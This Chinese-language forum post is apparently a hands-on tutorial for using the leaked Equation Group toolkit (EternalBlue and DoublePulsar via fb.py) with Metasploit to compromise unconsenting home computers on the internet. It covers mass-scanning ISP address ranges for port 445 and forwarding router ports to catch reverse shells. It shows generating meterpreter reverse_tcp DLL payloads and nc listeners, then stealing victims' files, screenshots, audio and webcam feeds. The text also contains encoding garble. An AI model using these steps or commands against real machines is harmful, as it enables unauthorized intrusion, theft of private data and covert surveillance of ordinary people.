[原創(chuàng)]NASA方程式黑客工具包之初償鮮
前言:
很早就拿到這個(gè)工具包了,興奮之余馬上去測(cè)試,但是由于一直沒(méi)有合適的實(shí)驗(yàn)環(huán)境,加上工具發(fā)布了兩個(gè)版本,而我拿到的是最早的版本,這個(gè)版本有一個(gè)命令是無(wú)法運(yùn)行的,所以測(cè)試工作一直未能進(jìn)行下去,加上工作忙,沒(méi)有太多時(shí)間研究,就這樣過(guò)了好多天,后來(lái)比特病毒發(fā)作,同學(xué)找我?guī)兔?,又讓我?lái)了興趣,又重新下載了新版本,于是才有了這往篇日志,回過(guò)頭一看,其實(shí)這個(gè)缺少的命令對(duì)實(shí)驗(yàn)環(huán)境是沒(méi)有什么太大的影響的,研究了一個(gè)晚上(半夜兩點(diǎn)了),NC各種調(diào)試,才算搞明白了一點(diǎn)永恒之藍(lán)的使用方式,實(shí)在是太菜了...
安裝好工具包以后,進(jìn)入WINDOWS目錄,注意是工具包的WINDOWS目錄,而不是系統(tǒng)的,有個(gè)START.JAR文件,還有個(gè)fb.py文件,我最開(kāi)始以為FB.PY溢出工具會(huì)返回到START.JAR運(yùn)行后的danderspritz平臺(tái)上面,所以花了太多的時(shí)間都沒(méi)有成功(其實(shí)到現(xiàn)在我也沒(méi)搞清楚能不能返回到這個(gè)平臺(tái)上面,我覺(jué)得應(yīng)該是可以的,留給后面再研究吧)太多工作等待我去做了,今天講的是fb.py這個(gè)腳本工具的利用,配合永恒之藍(lán)漏洞,在互聯(lián)網(wǎng)實(shí)戰(zhàn)環(huán)境下面抓肉機(jī),也有可能別人早就有了這樣的文章,但是我覺(jué)得還是有必要把一些基礎(chǔ)的信息和需要注意的細(xì)節(jié)問(wèn)題給寫(xiě)出來(lái),方便新人測(cè)試!畢竟實(shí)驗(yàn)環(huán)境不同于實(shí)戰(zhàn)環(huán)境,會(huì)遇到各種問(wèn)題,對(duì)于新手來(lái)說(shuō),一個(gè)小小的細(xì)節(jié)就可能導(dǎo)致入侵的失??!
一、準(zhǔn)備階段
所需要的工具:
NASA武器庫(kù)壓縮包
python2.6 pywin32
NC.EXE
KALI LINUX (要用到里面的美少婦生成DLL文件)
S.EXE (一款優(yōu)秀的掃描器,非必須,也可用KALI namp代替)
安裝步驟這些就不談了,我們先大概了解一下網(wǎng)絡(luò)環(huán)境,這篇完全是照顧菜鳥(niǎo)的,大牛飄過(guò),直接看實(shí)戰(zhàn)階段!
先給大家說(shuō)明一點(diǎn),永恒之藍(lán)是通過(guò)445端口進(jìn)行攻擊的,所以我們要掃描互聯(lián)網(wǎng)環(huán)境下主機(jī)的這一端口,而現(xiàn)在運(yùn)營(yíng)商為了防治網(wǎng)絡(luò)攻擊,好多IP段的445端口是被封的,即便主機(jī)開(kāi)放了端口,那你還是掃描不到任何信息的!據(jù)我了解,端口屏蔽狀況根據(jù)不同地區(qū)而有所不同,也會(huì)因?yàn)檫\(yùn)營(yíng)商的不同而不同!
聽(tīng)到這里,好多人便失去了信心,端口都掃描不到,那還玩?zhèn)€屁啊!但是幸運(yùn)的是,事情沒(méi)有那么絕對(duì)!很多上網(wǎng)用戶(hù)是家庭撥號(hào)上網(wǎng)的,也就是PPPOE協(xié)議撥號(hào)上去的,運(yùn)營(yíng)商會(huì)暫時(shí)分配一個(gè)互聯(lián)網(wǎng)真實(shí)IP給用戶(hù),對(duì)于這樣的用戶(hù)來(lái)說(shuō),可玩性還是很高的!而更多的用戶(hù)是光纖上網(wǎng),撥號(hào)成功以后進(jìn)路由器看到的IP和www.ip138.com上面看到的實(shí)際IP是不同的,這樣的用戶(hù)就有點(diǎn)郁悶了~就像我辦公室就是這樣的環(huán)境,后者的網(wǎng)絡(luò)環(huán)境最郁悶的地放就是沒(méi)法用反彈!(花生殼反彈是可以解決這個(gè)問(wèn)題的,不在此文描述!)
啰嗦了這么多,慢慢進(jìn)入正題吧!
想要入侵,總該 有個(gè)目標(biāo)吧!所以我們先要知道自己的IP地址,注意,這個(gè)地址不是你的局域網(wǎng)的地址,而是互聯(lián)網(wǎng)的真實(shí)地址!打開(kāi)www.ip138.com網(wǎng)站,看到的IP就是自己的真實(shí)IP!
比如,我在青海,看到的IP地址是:
139.170.66.3
(網(wǎng)警同志,別對(duì)號(hào)入座哦,我馬賽克過(guò)的,一陣奸笑。。。)
到這里,我覺(jué)得有必要向大家對(duì)我的網(wǎng)絡(luò)環(huán)境做一個(gè)簡(jiǎn)單介紹!我是青海的聯(lián)通用戶(hù),家里是TPLINK無(wú)線路由設(shè)置為自動(dòng)撥號(hào)上網(wǎng)的,電腦通過(guò)網(wǎng)絡(luò)接到網(wǎng)線路由器上,手機(jī)通過(guò)WIFI接入路由器,當(dāng)然手機(jī)與我們今天的實(shí)戰(zhàn)沒(méi)有任何關(guān)聯(lián),只是用來(lái)描述網(wǎng)絡(luò)結(jié)構(gòu)的。我們把NASA工具包運(yùn)行的電腦叫做攻擊機(jī)吧!受攻擊的互聯(lián)網(wǎng)電腦叫靶機(jī)。
===============================================================================
攻擊機(jī):
操作系統(tǒng):WIN10 Pro
外網(wǎng)IP無(wú):
內(nèi)網(wǎng)IP:192.168.1.5、192.168.1.15、192.168.172.1...(好幾個(gè),不一一貼了,這些都叫保留地址IP)
KALI linux:192.168.1.102
路由器IP: 139.170.66.3 //此IP為真實(shí)互聯(lián)網(wǎng)IP
手機(jī)1:192.168.1.101
手機(jī)2:192.168.1.103
===============================================================================
可見(jiàn),我的攻擊擊WIN10是沒(méi)有真實(shí)的互聯(lián)網(wǎng)IP的,而如果我們溢出成功,讓靶機(jī)反彈連接到我們的攻擊機(jī)上的時(shí)候,我們必須在攻擊機(jī)開(kāi)放一個(gè)端口讓靶機(jī)連接進(jìn)來(lái),除此之外,我們還要告訴靶機(jī)讓它返彈到哪臺(tái)主機(jī)上面,也就是讓告訴靶機(jī)反彈的IP和端口信息,這個(gè)IP一定要是真實(shí)的互聯(lián)網(wǎng)IP,所以應(yīng)該是 139.170.66.3 ,而不是 192.168.1.5 !當(dāng)然這個(gè)192.168.1.5地址我們還是有用的,下面會(huì)說(shuō)到!我們?cè)俸?jiǎn)單的理一下攻擊的數(shù)據(jù)包流向,讓菜鳥(niǎo)理解這個(gè)過(guò)程,有助于后面的網(wǎng)絡(luò)調(diào)試!整個(gè)攻擊過(guò)程是這樣的:
第一步:攻擊機(jī)192.168.1.5發(fā)出攻擊指令,此指令為向外發(fā)出的數(shù)據(jù)包,最終要到靶機(jī)的445端口
第二步:靶機(jī)收到數(shù)據(jù)包,數(shù)據(jù)包中有攻擊機(jī)發(fā)出的攻擊載荷(payload),載荷中包含攻擊機(jī)的真實(shí)IP和端口信息
第三步:載荷在肉機(jī)上執(zhí)行,并成功溢出,肉機(jī)操作系統(tǒng)將自己的權(quán)限發(fā)送到第二步中得到的IP和端口上去主動(dòng)找虐。所以這里的IP肯定是 139.170.66.3,而不是192.168.1.5.
第四步:受虐數(shù)據(jù)庫(kù)從肉機(jī)發(fā)送到 139.170.66.3上,而此IP為 路由器,并非攻擊機(jī)電腦,所以我們要將這個(gè)受虐數(shù)據(jù)包轉(zhuǎn)發(fā)到黑客操作的電腦上才行,而不是被路由器擋在門(mén)外!所以我們的
第五步:將路由器的收到的數(shù)據(jù)包轉(zhuǎn)發(fā)到攻擊機(jī)的內(nèi)網(wǎng)IP上。
整個(gè)過(guò)程中,數(shù)據(jù)包從里向外是怎么出去的不重要,反正都會(huì)到達(dá)受害肉機(jī)上,但是最關(guān)鍵的是從靶機(jī),也就是肉機(jī)返回來(lái)的結(jié)果信息一定要到達(dá)攻擊者的電腦上,而不應(yīng)該被任何網(wǎng)絡(luò)堵塞掉,這就是我啰嗦了這么一堆去描述網(wǎng)絡(luò)環(huán)境的原因所在!
OK,知道了這些,我們先來(lái)設(shè)置一下路由,在路由上做一個(gè)端口轉(zhuǎn)發(fā),將 139.170.66.3的某一個(gè)端口轉(zhuǎn)發(fā)到攻擊機(jī)192.168.1.15的某個(gè)端口上過(guò)來(lái)!這樣就保證攻擊機(jī)能正常接受到肉機(jī)發(fā)送過(guò)來(lái)的反彈數(shù)據(jù)包。一般來(lái)說(shuō),低端端口被封鎖的可能性大,所以我們?cè)谶@里盡量采用一些特殊端口,如21、80、443、53、1433、3306、3389之類(lèi)的端口,因?yàn)檫@些端口為常用協(xié)議端口,所以被封的可能性相對(duì)小一些!其中80端口在肉機(jī)上反彈的時(shí)候突破防火墻的可能性很高!但是一般家庭撥號(hào)上網(wǎng)用戶(hù)80端口被封掉的可能性也是很大的!我是用的3389端口,
我們進(jìn)自己的路由器,設(shè)置一個(gè)端口轉(zhuǎn)發(fā)!
在路由器中左邊找到轉(zhuǎn)發(fā)規(guī)則,在右邊添加一個(gè)轉(zhuǎn)發(fā),如下圖:
大家看了圖免不了要問(wèn),不是要轉(zhuǎn)發(fā)139.170.66.3的3389端口到192.168.1.5的3389上面嗎?怎么是192.168.1.102? 原因是這樣的,因?yàn)?.5是我的WIN10,NASA工具包運(yùn)行在上面,當(dāng)攻擊成功后肉機(jī)發(fā)送反彈數(shù)據(jù)包過(guò)來(lái),先到路由
139.170.66.3上面,路由器發(fā)現(xiàn)數(shù)據(jù)是要找3389端口的,這個(gè)數(shù)據(jù)包應(yīng)該被接收反彈的應(yīng)用捕獲才對(duì),也就是說(shuō),由我們的KALI 里面的美少婦MSF捕獲才對(duì),而我的KALI的IP為102,所以我們將3389轉(zhuǎn)發(fā)到102上面,整個(gè)過(guò)程就是WIN10攻擊機(jī)只負(fù)責(zé)發(fā)送數(shù)據(jù)包溢出,溢出成功后肉機(jī)反回來(lái)的數(shù)據(jù)包由192.168.1.102 KALI MSF接管。希望沒(méi)把大家繞糊涂!
OK, 設(shè)置好路由端口轉(zhuǎn)發(fā)以后,我們先來(lái)測(cè)試一下端口是否暢通無(wú)阻!這一點(diǎn)很重要!不然很難保后面能否成功!
我們進(jìn)入KALI,在終端上運(yùn)行命令
NC -L -V -P 3389
如上圖,在192.168.1.102上面監(jiān)聽(tīng)個(gè)3389端口。 然后我們找個(gè)朋友,把自己的實(shí)際IP告訴朋友,讓它在CMD下面運(yùn)行:
telnet
139.170.66.3 3389
注意,IP換成自己的外網(wǎng)IP。xp\2003才支持telnet命令。如果是其它版本,請(qǐng)自己COPY一個(gè)TELNET.EXE到系統(tǒng)中也可以運(yùn)行的。
如果朋友看到上面的界面,基本上說(shuō)明網(wǎng)是沒(méi)問(wèn)題的。同時(shí),當(dāng)朋友連上來(lái)的時(shí)候,我們會(huì)在KALI里面看到有數(shù)據(jù)包進(jìn)入,如下圖
這時(shí)候其實(shí)你還可以在此窗口中隨便打幾個(gè)這了,就可以互相發(fā)送給對(duì)方窗口中了,更加證明網(wǎng)絡(luò)暢通無(wú)阻,如下圖所示
因?yàn)榕笥堰\(yùn)行的命令是 telnet
139.170.66.3 3389 ,后面的3389是端口號(hào),而我們?cè)诒緳C(jī)KALI內(nèi)網(wǎng)環(huán)境下192.168.1.102 的3389能正常接收到數(shù)據(jù)包,這就說(shuō)明網(wǎng)絡(luò)是沒(méi)有問(wèn)題了,我們可以進(jìn)行下一步操作了。如果這一步有問(wèn)題,那我們就換個(gè)端口測(cè)試,一定要把端口調(diào)試通,找到一個(gè)沒(méi)有被運(yùn)營(yíng)商封鎖的端口。如果這一步?jīng)]有問(wèn)題了,那么就已經(jīng)成功了一半了!
我們?cè)贙ALI 終端窗口下用組合鍵 CTR + C 終止當(dāng)前NC端口監(jiān)聽(tīng)。開(kāi)始配置我們的反彈客戶(hù)端。
進(jìn)入美少婦,我們用到的兩個(gè)載荷為:
payload/windows/x64/meterpreter/reverse_tcp
payload/windows/meterpreter/reverse_tcp
這兩個(gè)載荷分別是64位平臺(tái)和32位平臺(tái)的,參照上圖,設(shè)置兩個(gè)參數(shù) ,SET LHOST XXX.XXX.XXX.XXX ,這里用自己的IP來(lái)代替,我是用的花生殼域名代替的,端口設(shè)置為3389.然后生成
generate -f my3389_x64.dll -t dll
同樣再生成一個(gè)32位平臺(tái)的!注意,32位平臺(tái)的建議用其它端口,不要再用3389端口,因?yàn)闀?huì)引起上線沖突,所以我生成了一個(gè) my21_x86.dll文件。這兩個(gè)文件一個(gè)是用來(lái)上線64位平臺(tái)的,一個(gè)是用來(lái)上線32位平臺(tái)的。
我生成的DLL如下圖所示
我生成的比較多,大家只需要生成DLL格式的即可。
做完這步,我們就可以在KALI中進(jìn)入
metasploit平臺(tái),打開(kāi)端口監(jiān)聽(tīng)了,命令如下:
同樣的方法再設(shè)置一個(gè)X86平臺(tái)的監(jiān)聽(tīng)端口在21上面,同時(shí)別忘記端口轉(zhuǎn)發(fā)。注意X86平臺(tái)不能用X64的載荷,包括生成和監(jiān)聽(tīng)!
設(shè)置監(jiān)聽(tīng)完成以后最后再去讓朋友連接測(cè)試一下,保證數(shù)據(jù)的暢通!
如果路由端口映射沒(méi)問(wèn)題,KALI監(jiān)聽(tīng)沒(méi)問(wèn)題,朋友在遠(yuǎn)端自己家里telnet 你的ip 3389 以后應(yīng)該可以看到CMD窗口中大量數(shù)據(jù)流滾動(dòng)的效果(黑客帝國(guó)有木有?),這時(shí)候說(shuō)明前面的步驟全成功了!
還記得前面看到的IP地址嗎?
139.170.66.3 ,我們掃描的關(guān)鍵就是設(shè)置合理的IP段。我們將IP范圍定位在此段前后,數(shù)量大小由自己控制,我設(shè)置為 139.170.20.1-139.170.200.1 ,注意,將IP第三段設(shè)置一個(gè)跨度,以保證有足夠的主機(jī)數(shù)量,如果IP段跨度太大,端口往往是被封的。然后用掃描器進(jìn)行大范圍端口掃描。用什么掃描器看個(gè)人喜歡了。下面是我用S.EXE掃描的結(jié)果。
S.EXE是一款小巧又強(qiáng)大的掃描器速度極快!開(kāi)了200線程,
Scan 39937 IPs Complete In 0 Hours 9 Minutes 57 Seconds. Found 46 Hosts。
9分鐘掃到了46臺(tái)開(kāi)放端口的主機(jī),看來(lái)還是戰(zhàn)果豐厚。開(kāi)放掃描完成后它會(huì)將結(jié)果保存到RESULT.TXT文件中。
嘰歪了半天,終于進(jìn)入主題了,看官們肯定早就準(zhǔn)備扔鞋子了.....
二、實(shí)戰(zhàn)階段
在攻擊機(jī)上運(yùn)行攻擊腳本fb.py,我就不抓圖了,關(guān)鍵參數(shù)如下:
其它的默認(rèn)設(shè)置就好了,基礎(chǔ)信息設(shè)置完成以后用USE命令加載永恒之藍(lán)模塊
在FB環(huán)境中輸入U(xiǎn)SE命令 然后TAB鍵就可以檢索命令。
默認(rèn)選擇1,因?yàn)槲腋愣ǖ娜荳IN7系統(tǒng)的,XP也可以,03沒(méi)成功過(guò)。
見(jiàn)到上面的成功提示信息,我們?cè)儆孟乱粋€(gè)模塊,從返回信息可以看到是64位平臺(tái)的WIN7操作系統(tǒng)。
輸入 :USE Doublepulsar
輸入攻擊靶機(jī)IP和本機(jī)的IP地址,一路回車(chē),再到如下這個(gè)界面的時(shí)候
我們選擇2,指定我們一開(kāi)始配置好的my3389_x64.dll進(jìn)行上傳,提交執(zhí)行,如果是X86平臺(tái)的話,則指定 my21_x86.dll,然后一路默認(rèn)信息提示,執(zhí)行,當(dāng)看到運(yùn)行成功的信息以后,我們?cè)贙ALI里面看到有SHELL已經(jīng)返彈回來(lái)了,然后盡情的開(kāi)始虐待吧,
進(jìn)入SHELL,偷看一下肉機(jī)上的文件,奶奶的,中文全亂碼了!如果想偷取文件的話用EXIT退出SHELL,回到meterpreter提示符下用
download d:\mypic\ -r 進(jìn)行目錄遞歸式下載,如果僅想下一個(gè)文件的話,直接指定文件目錄下載。下圖是肉機(jī)上的文件及目錄
抓個(gè)屏、再偷聽(tīng)一下聲音,偷窺一下攝像頭!
run vnc
即可將VNC上傳到對(duì)方電腦上,實(shí)際應(yīng)用中往往會(huì)被殺軟干掉的,成功率也不是很高。
上面只是說(shuō)了一下第一種網(wǎng)絡(luò)環(huán)境下的入侵,也就是在自己擁有獨(dú)立真實(shí)IP環(huán)境下是如何入侵的, 再說(shuō)一下如果自己沒(méi)有真實(shí)的IP地址,那們我們又該如何入侵?
其實(shí)和上面的過(guò)程差不多,只不過(guò)我們換一個(gè)攻擊載荷就可以了,還記得我們前面生成的DLL文件 my3389_x64.dll、my21_x86.dll嗎?這兩個(gè)文件一個(gè)是64位平臺(tái)的,一個(gè)是32位平臺(tái)的,當(dāng)溢出攻擊成功以后,們們會(huì)注入到遠(yuǎn)程操作系統(tǒng)的進(jìn)程中來(lái)執(zhí)行反彈SHELL代碼,現(xiàn)在我們既然沒(méi)有真實(shí)的IP環(huán)境,也就不需要反彈了,所以我們直接在溢出成功后讓主機(jī)打開(kāi)一個(gè)端口監(jiān)聽(tīng),等待我們?nèi)ミB接即可!這樣的話,我們有沒(méi)有真實(shí)IP就無(wú)關(guān)緊要了!
我們用到載荷:
其實(shí)用什么載荷,完全是出自于大家自己喜歡!沒(méi)有強(qiáng)行的要求,只要沒(méi)有超過(guò)攻擊程序限定大小即可!我們就以上面的為例吧!
注意,上面每個(gè)平臺(tái)的我都給出了兩種載荷(payload),比如64位的來(lái)說(shuō)明吧,有 payload/windows/x64/shell/bind_tcp 和 payload/windows/x64/shell_bind_tcp ,我們分別叫做 64位A和64位B吧!如果用的A載荷,那么溢出成功以后必須要用MSF去連,如果是B載荷的話,用NC.EXE就可以,當(dāng)然MSF也是沒(méi)問(wèn)題的。連上去以后直接會(huì)看到對(duì)方主機(jī)的SHELL返回信息。至于實(shí)戰(zhàn)的時(shí)候選擇哪種載荷,完全是看個(gè)人喜歡了。。。
==實(shí)戰(zhàn)篇完==
初償 danderspritz ,客戶(hù)端配置,生成的EXE支持私鑰簽名,時(shí)間戳,直接免殺,支持觸發(fā)監(jiān)聽(tīng),觸發(fā)反彈,比美少婦強(qiáng)大的多了,隱蔽性更強(qiáng)!有時(shí)間再寫(xiě)